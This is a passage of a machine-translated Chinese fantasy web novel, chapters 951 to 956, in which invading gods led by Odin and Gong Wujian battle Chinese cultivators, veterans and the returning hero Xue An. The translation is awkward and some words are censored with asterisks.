    Almost all the people in Europe are also silent.


    Vidal sneered coldly when he saw this, "It''s really a pair of fateful mandarin ducks, but you don''t have to fight, because you will all have to die later!"


    Saying that Vidal cut down with a sword.


    The dream banshee gritted her teeth, her figure instantly faded, and the next moment she stood in front of Fan Mengxue.


    "Dream, don''t!" The Titan roared and wanted to chase him.


    The dream banshee smiled, staring at the murderous Vidal, and said lightly: "You are wrong, we are not humble ants, you are!"


    As he said, the dream banshee raised up to the sky and let out a scream.


    This is the howl of death that she burns everything she has, and it is a kiss of death to the soul.


    The violent sound waves were all aimed at Vidal, whose strength was so strong that Vidal couldn''t help but take a few steps back.


    But that''s it.


    Because Vidal is a **** with a higher godhead, such shocks can''t really hurt him.


    Therefore, in an instant, he woke up.


    Then his heart was very angry.


    He was a dignified god, and was actually taken a few steps back by a small dark monster race, which made him simply unacceptable.


    So he roared, "Die me!"


    As he said, he raised his hand with a sword.


    At this moment, the dream banshee''s body is almost transparent, which is the result of overdrawing the soul.


    Faced with this mortal sword, the Dream Banshee turned her head and looked at the Titan Giant who was coming in madness, and smiled slightly.


    "Goodbye, my love!"


    "No!" The titan''s eyes were cracked.


    Click.


    After a crisp sound.


    The body of the dream banshee shattered into pieces, dissipating between the heaven and the earth.


    "Humph! Humble stuff, lucky you!" Vidal snorted disdainfully.


    But at this moment, I saw the branches of trees protruding from the void, directly surrounding the fairy goddess and Fan Mengxue.


    Odin snorted coldly, "The Tree of Time and Space! Cloris, did you rely on this thing to survive? Cut him down!"


    "Yes!" Vidal replied, raising his sword and slashing.


    Each sword will cut down countless branches, but in the next second, more branches will grow out.


    The Elf Mother God, whose godhood was about to burn out, stretched out a finger that was about to disappear.


    A branch sticks out and touches the fingertips of the Elf Goddess lightly.


    The Elf Mother smiled, "Old friend, are you here to give me the last ride?"


    For thousands of years of getting along day and night, the tree of time and space and her have already connected with each other.


    After hearing her words, Zhizhi trembled slightly.


    At this time, the figure of the Elf Mother God was about to disappear, she whispered: "Old friend, if there is an emerald green bird hovering among your branches in the future, then I will come to see you!"


    Having said that, the Elf Mother God raised her last bit of strength and rushed directly to Fan Mengxue.


    The branches trembled lightly, and the sound they made was as if a person was crying.


    At this time, Odin was already a little impatient.


    He could feel that the entire earth at this moment was full of smoke, and in front of the violent gods, humans were as vulnerable as babies.


    On his side, it was the one with the slowest progress.


    Because he snorted coldly, "My son gets out of the way!"


    As he said, he raised the spear of eternity, and stab it down.


    Vidal hurriedly stepped aside.


    At the same time, the Spear of Eternity has pierced the space and hit the branches of the tree of time and space.


    boom.


    Wherever the Spear of Eternity passed, the branches turned into pieces.


    The remaining branches began to twist in pain, trying to resist.


    But in front of the divine tool, the tree of time and space has no power to fight back.


    at last.


    After a crisp sound, these branches were completely shattered.


    The castration of the Spear of Eternity remained undiminished, directly hitting Fan Mengxue who was standing there.


    But at this moment.


    The earth began to tremble slightly.


    The darkness began to surging with cheers, as if to welcome the return of their gods.


    Then a powerful force came here and enveloped the night sky.


    "It''s the kingdom of God!" Anastasia the dark witch whispered softly.


    "Mengxue... has become a god!"


    With her voice.


    In Fan Mengxue''s eyes, the flames of darkness suddenly burst.


    Then when she raised her hand, she firmly grasped the stabbed Eternal Spear.


    Odin''s face is gloomy Even if Cloris burns himself to light up the godhead for you, what will happen? In front of me, you are nothing but the lowest-class garbage god! "


    With that, Odin''s supernatural power surged, and the Spear of Eternity pierced forward again.


    But his blow did not even shake Fan Mengxue who was standing there.


    "What''s the matter?" Odin was startled.


    At this moment, the dark throne in the void began to change wildly, and in an instant, it became a new throne that was a hundred times stronger than just now.


    "Dark God Seat!" Karthus smiled bitterly while vomiting blood.


    The appearance of this **** seat means that Fan Mengxue has become the dark master of this world.


    Odin''s heart was also shaken.


    He didn''t expect that Fan Mengxue, who had just lit up his godhead, would be directly promoted to a high-level god.


    At this moment, Fan Mengxue pointed his finger and said coldly: "Kill!"


    It''s the day.


    Fan Mengxue led the dark council to fight against the descending gods of Odin.


    Killed countless heroic warriors, the son of **** Vidal was seriously injured, and the eternal spear of the **** Odin shattered.


    And the Dark Council Dream Banshee fell, Fan Mengxue, who had first ascended the throne of God.


    Seriously injured and unconscious!

 Chapter 952： Defense of Central Capital

    Zhongdu.


    As the largest and most prosperous city in China.


    This was once the center of the world.


    Especially in the past three years, because of the great prosperity of Hua Guofa, even the aura is more abundant than other places.


    So it has become a place that people all over the world yearn for.


    Available today.


    This extremely prosperous capital city has fallen into the abyss of blood and fire.


    The sudden arrival of the gods completely disrupted the original order in the world.


    Under the envelope of death and killing, the original lively streets became deserted and deserted.


    boom.


    A figure fell from the sky, smashed in from one side of a skyscraper, flew out from the other side, and fell to the ground.


    Only then can you see clearly.


    This is a real armored soldier.


    It''s just that this armored real soldier at this time has no usual brilliance.


    The originally smooth black armor was covered with cracks, and even the black wings behind it were already incomplete.


    Xiao Shui climbed up from the ground with difficulty.


    He has been fighting for more than ten hours.


    This kind of high-intensity combat is frantically overdrawing his body.


    But he didn''t realize all of this, but raised his head solemnly, looked at the ongoing battle in the sky, soared into the sky and joined the battle group again.


    I saw a **** all over the sky, and Xiao Shui led his hands to shuttle through it, relying on the powerful mobility of the armored soldiers to avoid attacks, and counterattack from time to time.


    But in this battle, they were not the only ones who made real soldiers.


    For example, confronting these gods head-on and attracting most of the firepower are the puppets controlled by Liu Keke and others of the puppet fairy sect.


    These immensely tall mechanical puppets have contained the work of the puppet Xianzong for thousands of years, and after connecting with the earth, they have also absorbed many useful technologies from the earth''s science and technology.


    It can be said that after these three years of tempering, these mechanical puppets have become stronger.


    But even so.


    When these puppets faced these descending gods, they were still weak.


    boom!


    After a muffled sound.


    A six-armed **** blasted the tallest puppet''s head with one punch.


    In the sparks, the puppet fell like a mountain.


    At the same time, Liu Keke who was in the distance let out a big mouthful of blood.


    "metropolitan!"


    The doormen of Puppet Xianzong exclaimed.


    Liu Keke waved his hand, "I''m fine, come again!"


    Another puppet was released, and Liu Keke manipulated it to join the battle group again.


    And this is already the fourth puppet controlled by Liu Keke in more than a day.


    A deep rift has appeared in her mechanical heart, and her body and spirit are on the verge of collapse.


    But she can''t give up.


    Because once the puppet serving as the frontal fortress falls, those comrades who are attacking will suffer a disaster.


    At this time, Zhu Ruyan from the Kunlun Secret Realm, with a sleeve of flowing clouds, attracted the attention of a guardian. This guardian left his opponent and started to deal with Zhu Ruyan instead.


    This made the secret party blood tribes such as Elad and Aisi, who were almost overwhelmed by strong pressure, let out a sigh.


    Elad shouted: "Thank you Ms. Zhu!"


    While facing the enemy, Zhu Ruyan said in a deep voice: "Don''t thank you, they are all comrades in the trenches. They should have helped each other."


    Ellard looked at Zhu Ruyan''s back in fascination with mixed feelings.


    He came to the earth earlier than the gods who descended. When he first arrived, he was almost caught up as a foreign race.


    Fortunately, Ellard told the story in time, and the gods who came next confirmed his statement, so he was recognized as a secret party blood.


    What he saw and heard during this period of time made Ellard feel a lot, especially in the face of strong enemies, the indomitability of the Chinese people, and this kind of strong comradeship made Ellard shocked. .


    If... the blood race can be united like the Chinese, how can it be reduced to this point?


    I was sighing in my heart, and Zhu Ruyan snorted, and was shaken out by the palm of the guard. After he stood still, his face was flushed abnormally.


    This kind of high-intensity battle has already exhausted Zhu Ruyan physically and mentally.


    But before she could catch her breath, in the void behind her, a giant cyan hand suddenly appeared, and took pictures of Zhu Ruyan''s back.


    "Be careful!" Ellard exclaimed in shock, and wanted to help, but it was too late.


    At this moment.


    Seeing a big man with golden light all over his body flew across the sky, and hit the cyan giant hand with a punch.


    boom.


    This giant hand was directly blasted into fragments, and the face of this **** guard was painful, and he retreated hundreds of feet violently.


    One punch wounded a guard.


    This scene refreshed the people around.


    But Zhu Ruyan was pale, and nodded at the man, "Thank you, Daniel!"


    That''s right.


    This big man is Zhou Daniu, the number one ace of the Fire Phoenix Special Forces.


    He touched his bald head and smiled, "Thank you!"


    The voice just fell.


    I saw the guard who was blasted back by Zhou Da Niu roaring up.


    Zhu Ruyan turned pale.


    But at this moment, behind the guard, a thin figure suddenly appeared, and then a black dagger struck the guard''s throat.


    puff.


    The divine body, which was a hundred times harder than steel, was cut open with ease like tofu under this dagger.


    Then this person tugged at the head of the guard.


    There was a crisp sound.


    The head of this guard was unscrewed.


    Then Zou Yi excitedly raised his hand at Zhou Daniu, and said triumphantly: "Da Niu, what''s up? I''m not great!"


    It was Zhou Daniel''s best friend Zou Yi who made the sneak attack.


    Seeing him so proud, Zhou Da Niu smiled.


    But at this moment, the arm of the headless guard suddenly stretched out and directly grabbed one of Zou Yi''s legs.


    Zou Yi was taken aback, "Fuck, you''re not dead if you lose your head?"


    With that, Zou Yi urged Fajue to want to escape.


    But under the control of this guard his escape method actually failed.


    Now he was really scared, "Da Niu..."


    Before he could call out for help, Zhou Daniu had already jumped in and hit the guard''s chest with a punch.


    After a burst of brittle fracture.


    The guard was blasted out, which was regarded as saving Zou Yi.


    Then Zhou Daniu smiled and said, "Not great!"


    Zou Yi was speechless.


    At this time, Cheng Hao, the captain of the Fire Phoenix Special Forces, fought and retreated. When passing by them, he shouted: "Don''t chat, hurry..."


    The shouts from behind were forced back by the sudden intensified offensive.


    Zhou Daniu and Zou Yi''s expressions were startled, and they quickly joined the battle group again.


    They can be regarded as frontline troops.

 Chapter 953： Veterans don’t die, they will only fade slowly.

    And behind.


    There are Chen Rushi, Wei Ruyan, Qiao Le, Zhao Xuehui, and Yang Bin.


    They are considered second-line substitutes.


    Although their cultivation is not high, they can barely fight.


    At this moment, Chen Xiuhe, the head of the Chen family, also rose into the sky.


    Everyone was shocked when they saw this.


    "Father Chen, why are you here?"


    "Yes! Patriarch Chen, this place is too dangerous, you should go back quickly!"


    Everyone discouraged.


    Chen Xiuhe didn''t show the slightest fear in the face of the gods all over the sky. He just smiled slightly.


    "At this juncture of life and death, how can I watch everyone bleed and sacrifice in the front?"


    "but����."


    Chen Xiuhe waved his hand, "I know that my cultivation level is low, but even if I save my old life, I can''t allow these **** to act recklessly!"


    at this time.


    There was a burst of laughter in the city behind him.


    "Well said, Old Man Chen, I have always looked down on you before, but what you said today is really **** happy!"


    As he spoke, he saw a brilliance flying into the sky, an old man wearing a general uniform.


    "General Wang!" someone said in astonishment.


    This veteran general Wang Zhongnai is a retired military chief who has a good relationship with Chen Xiuhe.


    Seeing his arrival, Chen Xiuhe smiled slightly, "How come you, the old immortal, are also here?"


    Wang Zhong smiled, looking at the Chinese people who were fighting in blood, and said lightly: "Although I am old, I can''t watch these dolls bleeding in front, but I hide behind. Anyway, I have lived enough. Now, it��s always good to leave a little more for the Chinese!"


    "And it''s not just me! Our old friends are all here!"


    With the voice, I saw the light flashing in the sky, and dozens of elders who were wearing military uniforms, who were old, but still arrogantly facing the wind, all appeared in the field.


    Upon seeing this, Chen Xiuhe laughed and laughed, "Okay! I really deserve to be my friend of Chen Xiuhe!"


    Wang Zhong also laughed, "I was never afraid of imperialist artillery back then. I don''t believe that these **** can turn the sky!"


    Then he turned around and shouted at the people behind him: "Brothers, let''s show this bunch of **** today, what is the Iron Army!"


    "Good!" Everyone promised.


    Then the gray-haired veterans quickly formed their formation.


    "Veteran Corps, charge!"


    After all, these veterans rushed forward murderously.


    See this scene.


    No matter it was the people in the battlefield or the soldiers commanding the rear, all were silent.


    The veteran does not die, but slowly withers.


    And when faced with this critical juncture that concerns the life and death of the Chinese people, this group of veterans who had swept the battlefield once again assembled and set off.


    Even if you charge this time, you may never come back!


    But they still have no regrets.


    The cruel killing has not changed because of the appearance of veterans.


    However, once they met, the veterans led by Wang Zhong lost more than half of them.


    But their appearance gave everyone who was exhausted a respite.


    But at this moment, another dozen gods suddenly descended.


    The situation instantly began to appear one-sided.


    Through satellite broadcast, everyone saw this scene, and then they all felt deep despair.


    How to fight this battle?


    Just when the sky was completely messed up.


    From afar in the sky, a tide flew in the sky, and immediately rushed to the front.


    Only then did people see that above the tide, it was the sea-monster princess Jiang Meier and the countless monsters she led.


    The timely appearance of these reinforcements made everyone excited.


    And Jiang Meier launched a storm without hesitation.


    The tide came all over the sky and besieged these guards.


    But just when everyone breathed a sigh of relief.


    In this tide, there was a woman''s sneer.


    "It''s ridiculous. Ants just love to do this kind of unnecessary struggle!"


    With the voice.


    Gong Wujian''s figure gradually emerged.


    And with her appearance, the tide that had been surging in the sky instantly vanished.


    As soon as she saw her, everyone''s pupils contracted.


    The General Zhen Guo, who was sitting behind him, trembled, and immediately shouted at the communication station: "Retreat quickly! Quickly!"


    Before launching this Zhongdu defense war, the military mobilized all the think tanks and conducted a rigorous exercise.


    In the end, it was determined that if the number of gods attacking Zhongdu was less than fifty, it could be defended.


    But there is a special situation.


    That was Gong Wujian, or that Young Master Ye Liuyan.


    If they appear, then this war will undoubtedly be defeated.


    This is because all the staff of Hua Guo rated the strength of this Gong Wujian and Ye Liuyan.


    Finally, if they make a move, they will be...no one can control that day!


    Unexpectedly, this worst case still occurred.


    Although the town general will remind everyone the first time.


    But it was too late.


    Seeing Gong Wujian with an indifferent expression, making seals with his hands, he sighed softly, "Seal the heavens and seal the earth, destroy the supernatural powers!"


    boom!


    Give an order.


    All the monks within a radius of a thousand miles felt a huge shock, and then they were shocked to find that their cultivation base was completely sealed at this moment.


    For a time, countless monks began to fall from the sky.


    Gong Wujian said lightly: "Grab them all!"


    These gods moved when they heard the wind, and with a big wave of their hands, they arrested the monks whose whole body had been sealed off.


    Whether it is the Fire Phoenix Special Forces, Zhu Ruyan from Kunlun Secret Realm, or Liu Keke from the puppet Xianzong.


    All the monks were all caught by Gong Wujian''s seal.


    Seeing this scene, everyone was stupid.


    General Zhen Guo gave a wry smile.


    Is this the power of Da Luo?


    Could it be said that the Chinese are really going to die in the hands of their own generation?


    But when the whole is trembling about it.


    Gong Wujian sneered coldly, "Let you live a little longer and take you to Beijiang!"


    With that, she turned and disappeared into the sky.


    Then these guards grabbed everyone and left behind.


    General Zhen Guo was taken aback for a moment, then his complexion gradually turned pale.


    "Beijiang...!"


    at the same time.


    In the Tianzi No. 1 Villa in Beijiang the atmosphere is extremely solemn.


    Almost all the monks from Beijiang gathered here.


    But no one can say a word.


    now.


    Outside the window is the star boat that occupies most of the sky.


    It is strange that the entire Beijiang has not been slaughtered by the gods.


    The situation became a strange silence.


    Tang Xuan''er also stared at Xingzhou outside the window blankly.


    What the **** do these guys want to do?


    At this moment.


    Seeing a huge earthquake in the void, and the harem led by the guards gradually emerged.

 Chapter 954： Chinese, forever!

    The appearance of these people changed the atmosphere of Tianzi No. 1 Villa.


    "Come! Here they are!"


    Then Ye Liuyan''s figure also appeared in the void.


    "Master Shaojun!" Gong Wujian bowed and saluted.


    "Have everyone brought back?" Ye Liuyan said lightly.


    "My lord, I brought them all back!"


    As he said, Gong Mujian winked at the guard behind him.


    These guards released the prohibition.


    In an instant, the entire sky was occupied by densely packed monks.


    Tang Xuan''er stood up suddenly, "It''s the person from Zhongdu!"


    There were many faces that Tang Xuaner was familiar with among the crowd full of emptiness.


    Chen Rushi, Wei Ruyan... and even Mr. Chen.


    Without exception, these people are all turbulent, just like mortals.


    Then Ye Liuyan smiled slightly at the bottom, "Woman, I once said, I will kill all the people in this world in front of you, now is the first dish, I hope you will like it! "


    "No!" Tang Xuan''er''s eyes were torn apart.


    The monks in Villa No.1 Tianzi were even more furious, and they wanted to jump out of the formation to fight their lives.


    At this moment.


    Just listen to Chen Xiu and haha ??laughing, "Miss Xuan''er, fellow Chinese, you must not be hit by these guys'' aggressive methods! They can''t open the formation left by Mr. Xue, so they deliberately use this method to do so. Motivate you to go out!"


    "Noisy!" Gong Wujian raised his eyebrows and wanted to do it.


    Ye Liuyan smiled faintly. "Let him say! I hear what he can say!"


    At this time, the audience was quiet, Tang Xuan''er raised her head and looked at Chen Xiuhe in tears.


    "Chen...Grandpa Chen!"


    Chen Xiuhe smiled freely, "Don''t be sad, what we have to do now is to preserve the strength of the Chinese as much as possible and wait for Mr. Xue to return! As for death..."


    Chen Xiuhe smiled disdainfully, and then glanced at the sky full of gods, "I, Chen Xiuhe, who strayed since childhood and experienced countless winds and waves, if I was afraid of death, I would already be dead!"


    "And you guys who think they are noble, want to make my Chinese people bow their heads in this way, hehe, it''s just a dream!"


    "Because the Chinese have experienced too many sufferings, but the sea is changing, and those once extremely powerful enemies have disappeared! And the Chinese...will live forever!"


    Having said that, Chen Xiuhe smiled frankly, then turned his head and bowed his hand at Dongfang, "The ancestors and ancestors, you are not embarrassed!"


    As he said, he turned his head resolutely and rushed straight to a guard.


    With a cold snort, Chen Xiuhe exploded completely with a snap of his finger.


    The blood mist dispersed.


    The audience was silent.


    Then everyone burst into tears and roared to the sky.


    "Chinese, forever!"


    "Bastard!" Ye Liuyan didn''t expect this old man to be so fierce and not afraid of death.


    When this palm falls, everyone will undoubtedly die.


    At this moment.


    The brilliance of Villa No. 1 Tianzi suddenly skyrocketed.


    An incomparable momentum rushed straight into the sky.


    Everyone turned to look around.


    Ye Liuyan couldn''t help but froze for a moment, then his expression changed drastically, "This is..."


    The voice did not fall.


    I saw a light cocoon rising from the villa.


    "This...Is this An Qing?" Tang Xuan''er exclaimed in silence.


    at the same time.


    The cocoon began to shatter like an eggshell, and then burst open in an instant.


    In the dazzling brilliance, An Qing, who had been sleeping for three years, appeared before the world.


    I saw her long hair straight to the ground, without wind.


    On the beautiful cheek, there is a butterfly tattoo that looks like nothing.


    And her eyes didn''t even have the slightest feeling.


    "Antou woke up!" The Fire Phoenix Special Forces yelled in surprise.


    At this time, several guards rushed madly.


    But just as they rushed halfway, a dense swarm of ants suddenly appeared in the void, and then they completely surrounded these guards and ate them to the ground in an instant.


    The swallowing sound of the ant colony and the horrible howl of the guards mixed together, which made people shudder.


    And An Qing looked up coldly, her eyes full of cold killing intent, "I! That''s the Zerg!"


    With that, the endless ant colony began to emerge out of thin air, and attacked the gods all over the sky.


    Ye Liuyan regained her composure and smiled faintly, "I really didn''t expect to see the presence of the Zerg queen here! If you give you enough time to grow, you may become a strong enemy of my Protoss, but now you... ��Still too weak!"


    With that, Ye Liuyan took a picture with a palm.


    boom!


    The sky is full of ants.


    An Qing was also shocked and retreated far away, and a trace of blood gradually appeared on the corner of her mouth.


    The hearts of all the people in the room are tight for it.


    Even more surprised was Ye Liuyan.


    Although he only used less than ten percent of this palm, the Zerg queen who had just hatched was actually able to hold on it, and despite some injuries, she did not die.


    It can be seen that its vitality is strong.


    "Sure enough, you can''t stay, kill them all, don''t leave trouble!" Liu Yan shouted with cold eyes this night.


    He was already surprised by the endless things happening in this earth.


    So the leisurely state of mind before has disappeared.


    Now he just wants to completely destroy this world.


    "Yes!"


    Gong Wujian promised, then turned around and looked around the audience, "Kill!"


    Seeing this scene, the hearts of everyone in the world were strained.


    Countless people were desperate and began to cry.


    But more people watched the picture silently, the Chinese monks who were about to die after their entire body cultivation was blocked.


    None of these people showed timidity and fear.


    Zou Yi sighed, "Damn, I don''t have a girl to accompany the dead man, but to die with you, the old man, I am really unwilling!"


    Even so, Zou Yi still clings to Zhou Daniu, "Daniu, walk slowly on the Huangquan Road, we will get together from the Phoenix! Damn, if it doesn��t go well in the underworld, we��ll do the opposite. Damn it!"


    Zhou Daniu smiled and said, "Okay!"


    "In the next life, let''s be good brothers!"


    "it is good!"


    Qiao Le, Zhao Xuehui, and Yang Bin looked at each other and smiled, "When the second brother comes back, none of these guys can escape!" Yang Bin said harshly.


    But more people looked at Gong Wujian in silence.


    This feeling made Gong Wujian recall those things ten thousand years ago, and couldn''t help but become angry.


    "Stubbornness, all die for me!"


    With that said, she raised her palm and wanted to shoot just as many people had closed their eyes and were waiting for death.


    A cold male voice that seemed to come from the flames of **** crossed the void and spread across the sky.


    "I am back!"


    Everyone shook their heads together, and some people suddenly opened their eyes and looked up in disbelief.


    I saw a streamer carrying wind and thunder, rushing from far away.


    In an instant.


    A figure appeared in the field.


    The speed was so fast that it even plowed a deep chasm into the space where it passed, which could not be dispersed for a long time.


    When seeing this familiar figure, countless people stood there blankly, and then wept with joy.


    That''s right.


    Xue An, back!

 Chapter 955： Heaven and earth are seals, sun and moon are seals

    "Instructor!"


    "Mr. Xue!"


    "grown ups!"


    In the shouts one after another.


    Xue An looked at the people who were collectively sealed, and gradually showed a terrible killing intent in his eyes, and then raised his eyes to look at Ye Liuyan and the sky full of gods behind him.


    "Who did it?"


    The tone was indifferent, but the complexion of these gods changed slightly.


    At this time.


    Ye Liuyan, who stood in front, smiled.


    "I didn''t expect that you could break the Great Seal Technique and get out of the world of despair. It seems that you really look down upon you!"


    Xue An ignored his words, but said lightly again.


    "Who did it?"


    The smile on Ye Liuyan''s face gradually became cold, and he said gloomily: "Xue An, don''t think you can break the seal. In front of me, you are all ants!"


    Xue An hadn''t heard of it, but turned his head and looked at Gong Wujian standing beside Ye Liuyan.


    "Did you do it?"


    Facing Xue An''s questioning, Gong Wujian''s heart trembled, and she subconsciously wanted to step back, but immediately, she woke up, feeling a little angry.


    He was a dignified Da Luo powerhouse, and he was actually timid when facing the question of a maggot who was not even a real immortal.


    This made her unacceptable, so she snorted and raised her head proudly, "Yes, I did it! Xue An, you can break my seal, your strength really cannot be underestimated! But what do you think this can change? Is it?"


    Speaking of this, Gong Wujian showed a sarcasm smile on his face, "You are too naive! Xue An, if I were you, I should find a place where no one else is, instead of rushing back... to die!"


    Speaking of this, Gong Wujian raised his hand and said coldly, "Kill him!"


    Give an order.


    The gods and spirits all over the sky moved together to surround Xue An.


    Through satellite broadcasting, billions of people were silent, watching the scene with a worried expression.


    Yes!


    Mr. Xue was indeed invincible in this world before.


    But what he was facing now was the incomparably powerful descending gods, among them there were even more powerful men like Gong Wujian.


    As for the Ye Liuyan, who is respected as Shaotianjun, his strength is even more unpredictable.


    But Mr. Xue has only one person.


    With such a huge disparity in the number of people, Mr. Xue, is he really capable of turning the tide and saving the common people from fire and water?


    A big question mark rose in the hearts of countless people.


    But everyone''s thoughts are the same, that is, expecting Xue An to continue his glory and kill all these gods.


    At this moment, Xue An was without sorrow or joy, standing in the void, looking around the surrounding gods, and said lightly: "Let''s go together, I''m in a hurry!"


    boom!


    This sentence was like a shocking thunder that shocked everyone who was present or not.


    Is that a tyrannical god?


    How come it is in Mr. Xue''s mouth, but it''s like a chicken, it''s not worth mentioning.


    Many people even showed a wry smile, it seems that they still underestimated Mr. Xue''s courage!


    Faced with such a powerful enemy, he still dared to act so calmly.


    Is this truly invincible?


    Many people were shocked.


    However, all the gods in the sky were irritated by Xue An''s words.


    "Ignorant and arrogant child!"


    "A native like an ant! Give me death!"


    With that said, the gods and spirits all over the sky all started, preparing to slay Xue An.


    Many of these gods are powerful guards from the sky, and the gods of the Nordic Gods.


    Odin is naturally among them.


    Since returning to the earth, this former **** king has been very unhappy.


    I wanted to go back to my hometown and put on a good dress, but I didn''t expect to meet Fan Mengxue, who had first ascended to the gods and dominated the darkness of this world.


    After a great battle, the godhead of his **** son Vidal almost shattered, and the heroic warriors died in countless battles.


    Even his divine weapon, the Spear of Eternity, suffered heavy damage and was broken into three pieces.


    Even though Fan Mengxue was seriously injured and unconscious.


    But Odin was also frightened. He didn''t dare to go to Europe anymore and had to return to China in despair.


    This series of rebellions made the **** king very annoyed, hoping to find an opportunity to prove himself quickly.


    It''s a coincidence.


    Xue An is back today.


    If alone, Odin would never dare to get started.


    He still remembers the scene where he nearly died when he was fighting Xue An.


    But now the gods and spirits are all over the sky, and they mix in and fight Taiping, and it''s all right!


    Also holding this idea, there is the blood **** Gaia.


    He hated Xue An utterly, but at the same time he was extremely jealous.


    So I only dared to walk around, looking for a chance to attack Xue An.


    At the same time, the hundreds of gods all shot together.


    What kind of sight is this!


    I saw that the aura of heaven and earth within a radius of thousands of miles was instantly evacuated, and countless incomparable brilliance gathered into a huge beam of light that stood up to the ground, with endless power of destruction, directly blasted towards Xue An.


    Faced with this devastating blow.


    The world lost its voice.


    All the hearts of everyone mentioned their throats.


    Some people who are familiar with Xue An even dare not even look at it. They can only close their eyes and secretly pray for the blessing of the Chinese ancestors and Mr. Xue''s safety.


    It seems that the prayer is in effect.


    I saw Xue An standing in the void with his hand in hand, facing the falling beam of light, smiled faintly, "This is just a little bit like, but that''s it!"


    As he said, Xue An pointed to the sky and coldly shouted: "Heaven and earth are seals, and the sun and the moon are seals.


    . "


    boom!


    I saw that in Xue An''s palm, an extremely bright light burst out suddenly.


    Then Xue An crashed down like holding the sun and the moon in his hand.


    A terrifying force and the gods'' combined striking beam of light confronted head-on.


    There is no loud noise.


    There is not even any excess momentum.


    Only at the place of the combined attack, the space was shredded and torn apart like paper, and then a group of black holes appeared, and the violent suction directly destroyed the combined attack of the gods.


    this moment.


    The whole world lost its voice.


    This sky full of gods is even more stunned.


    They never dreamed that this ordinary-looking young man would have such a powerful supernatural power.


    at the same time.


    Xue An smiled at the blood **** Gaia and Odin king, "Meet again!"


    Seeing Xue An''s smile, Gaia and Odin felt alarm bells.


    Especially Gaia, he could even feel the joy in Xue An''s eyes.


    It was as if the hunter saw his favorite prey which made him guilty and retreated again and again.


    Xue An said lightly: "Since I am here, do you want to run?"


    With that, Xue An wanted to chase after taking a step.


    But at this moment.


    The figure of Gong Wujian, who had been standing still, appeared next to Xue An.


    Then the palm divided the yin and yang, crashing down.


    "Be careful!" countless people couldn''t help shouting.


    But Gong Wujian is known as the Da Luo powerhouse, and the speed and fierceness of this attack has exceeded the imagination of mortals.


    Just listen to a loud bang.


    Xue An''s footsteps were slightly wrong, but the whole person was blasted thousands of feet away. After standing still, several shocking cracks appeared between his chest and abdomen.

 Chapter 956： Opening of the show

    It''s as if a delicate porcelain was broken.


    See this scene.


    Everyone was silent.


    And Gong Wujian laughed arrogantly at this time, "I didn''t guess wrong, Xue An, you got my great seal technique. Although you can get out of trouble, you must have paid a very heavy price!"


    "Plus you rushed back so madly, you must have been seriously injured, am I right?"


    Xue An was silent.


    This attitude is equivalent to acquiescence.


    At the same time, Gong Wujian said lightly: "Let''s do it together and tear him up completely!"


    These gods were already eager to try after seeing Xue An''s serious injury, and after hearing Gong Wujian''s instructions, they rushed forward and couldn''t wait to cause Xue An to die.


    And Odin and the blood **** Gaia, who were still worried just now, laughed wildly at this moment.


    "Xue An, I didn''t expect you to have today! I said at the beginning, people...can''t fight against God!" Gaia said with a grin.


    And Odin is even more powerful, wanting to force Xue An to prove his strength.


    This time, under the siege of the gods, Xue An''s reaction became much slower, and his aura was not as aggressive as before.


    The cracks on his chest and abdomen began to expand at a speed visible to the naked eye.


    Billions of people around the world watched this scene blankly.


    Countless people couldn''t help but shed tears.


    Because in their minds, Xue An, who is fighting alone, represents the last hope of mankind.


    And it seems that Mr. Xue, who was once invincible in the world, has gradually been unable to support it.


    But he still didn''t give up, instead he was still fighting frantically.


    How can this not move them?


    At this moment.


    Seeing Xue An avoiding a little slower, a guard holding a halberd directly hit Xue An''s leg.


    Under the mighty power.


    Xue An''s leg instantly vaporized.


    All the gods were ecstatic when they saw it, "He can''t hold it anymore!"


    But all the people who witnessed this scene wept bitterly.


    Especially the monks on the scene roared sadly.


    "Mr. Xue, go! You are here, and the hope of our Chinese is here!"


    "Yeah! Leave us alone, go!"


    "Instructor, you are a well-deserved man, but these **** are not moral and besieging you. Didn''t you teach us to know how to move when we know the opportunity? Now you retreat first, and you will avenge us later!" Captain Fire Phoenix Cheng Hao roared.


    "Yes, you save your strength first, and then avenge us later!" Countless people began to agree.


    Tang Xuan''er in Villa Tianzi No. 1 burst into tears, and then she stood up resolutely, and rushed to the sky desperately.


    At this moment, Gong Wujian sneered and said: "Want to go, haha, do you think he can still go?"


    As he said, Gong Wujian got the seal with both hands, "Forbidden!"


    Give an order.


    The sky trembled, and the aura receded like a tide.


    "seal!"


    All kinds of power and power were added to Xue An''s body, causing his body to show cracks again.


    "Print!"


    Every step of the seal is determined, and the madness is superimposed, making Xue An irresistible.


    Under the three forms, a true immortal must bow his head obediently.


    What''s more, Xue An is now exhausted.


    So Xue An is like an ant trapped in glue, unable to move.


    The gods all over the sky were overjoyed when they saw it. They didn''t pay attention to any morality. Taking advantage of his illness to kill him was the code of conduct for these gods.


    So they rushed in and started all together.


    boom.


    There was a muffled sound.


    Xue An relied on his body to forcibly take a blow from the sky full of gods, and then criss-cross cracks appeared on his back, which finally burst open.


    Quiet!


    The whole world fell into dead silence.


    Countless people''s faces are extremely gray, and their eyes are full of despair.


    Because the **** of war in their minds fell.


    "Sir!" I don''t know who groaned first.


    Then the whole world cried.


    Tang Xuan''er''s eyes became dark, and she almost fell to the ground, and then there were tears in her eyes.


    "Xue An, how can you die, how can you die?"


    at the same time.


    In the headquarters of Zhongdu, the General Zhen Guo and all the high-level military officers stared blankly at the pictures on the big screen.


    In the end, General Zhen Guo gradually recovered his sobriety.


    Only at this moment, the general of the town country who has been in charge of China for many years and has always appeared in front of people with an iron-fisted image, has never shown a trace of weakness, and waved his hand in despair.


    "Retire all, take advantage of this last chance, and go to be alone with your family!"


    Having said that, the town general stood up with difficulty and walked out with a blank face, but as soon as he took a step, he staggered and almost fell to the ground.


    "General!" someone exclaimed, wanting to come and help.


    General Zhen Guo waved his hand, "Don''t worry about me, now there is no need for the headquarters!"


    With that, he walked out the door.


    No one speaks.


    Someone started sobbing.


    And when the General Zhen Guo walked to the door, the moment his hand had touched the doorknob.


    A staff officer suddenly trembled: "General, look! What is that?"


    The general of the town country was unheard of.


    What else can there be?


    Mr. Xue is dead!


    What awaits people next is the endless killing from the gods.


    Nothing matters anymore.


    But at this time, another staff officer said: "Okay...it seems to be Mr. Xue''s voice!"


    General Zhen Guo was shocked when he heard the words, suddenly turned around, and then looked at the screen with horror on his face.


    There are countless people all over the world who did the same thing.


    The desperate people looked up at the screen again.


    Because in the void that had become empty, there was a faint sigh.


    Then I heard someone say lightly: "Fortunately, I finally caught up!"


